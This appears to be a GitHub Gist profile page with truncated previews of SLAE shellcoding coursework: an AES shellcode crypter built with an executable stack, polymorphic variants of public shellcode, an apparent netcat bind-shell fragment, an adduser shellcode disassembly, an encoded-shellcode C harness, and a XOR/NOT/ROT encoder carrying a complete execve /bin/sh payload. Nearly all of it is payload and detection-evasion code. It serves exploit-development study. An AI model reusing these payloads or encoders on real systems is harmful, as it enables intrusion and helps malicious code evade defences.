Skip to content

Instantly share code, notes, and snippets.

View nipunjaswal's full-sized avatar
🫠

Nipun Jaswal nipunjaswal

🫠
View GitHub Profile
/*
Compile using the following command:
$gcc aes_128_crypter.c -o aes_128_crypter -lmcrypt -fno-stack-protector -z execstack
Author: Nipun Jaswal (SLAE-1080)
*/
#include <stdio.h>
#include <string.h>
#include <mcrypt.h>
;http://shell-storm.org/shellcode/files/shellcode-575.php
;Author: Nipun Jaswal (SLAE-1080)
global _start
section .text
_start:
xchg esi, eax ; Zero to EAX
mov al, 0xb ; Mov Instead of PUSH
;push byte +0xb
;pop eax
; http://shell-storm.org/shellcode/files/shellcode-872.php
; Author: Nipun Jaswal (SLAE-1080)
global _start
section .text
_start:
; xor eax, eax
xor edx, edx ; Cleared EDX
mul edx ; Cleared EAX
; push eax
; Polymorphic Version of /bin/cat Shellcode from http://shell-storm.org/shellcode/files/shellcode-571.php
; Author: Nipun Jaswal
global _start
section .text
_start:
; xor eax,eax
xor ecx,ecx ; Clearing out ECX
global _start
section .text
_start:
xor eax, eax
xor edx, edx
push eax
push 0x31373737 ;-vp17771
push 0x3170762d
mov esi, esp
@nipunjaswal
nipunjaswal / adduser
Created February 6, 2018 16:17
Adduser Shellcode Analysis
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\xeb\x2c\x5e\x31\xc9\xb1\x19\x80\x3e\x83"
"\x7c\x0d\x80\x2e\x83\xf6\x16\x80\x36\xcf"
"\x80\x36\xaa\xeb\x10\x31\xd2\xb2\x83\x2a"
"\x16\x31\xdb\xb3\xff\x43\x66\x29\xd3\x88"
"\x1e\x46\xe2\xdb\xeb\x05\xe8\xcf\xff\xff"
"\xff\x2e\xdd\x4d\x75\x38\x38\x6c\x75\x75"
"\x38\x7b\x76\x77\x96\xfc\x4d\x96\xfb\x4c"
; ROT NOT XOR XOR Decoder
; Author: Nipun Jaswal
; SLAE-ID: 1080
global _start
section .text
_start:
jmp short call_decoder ; JUMP - CALL - POP Sequence Starts
@nipunjaswal
nipunjaswal / RNXX.py
Created February 5, 2018 19:11
Multi_RNXX Encoder
#!/usr/bin/python
# Multi Encoder
# Uses : XOR ---> XOR ---> NOT ---> ROT
# By: Nipun Jaswal ; SLAE-1080
# EXECVE /bin/sh Shellcode
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
# Configure ROT Shifts
n = 131 #ROT Shift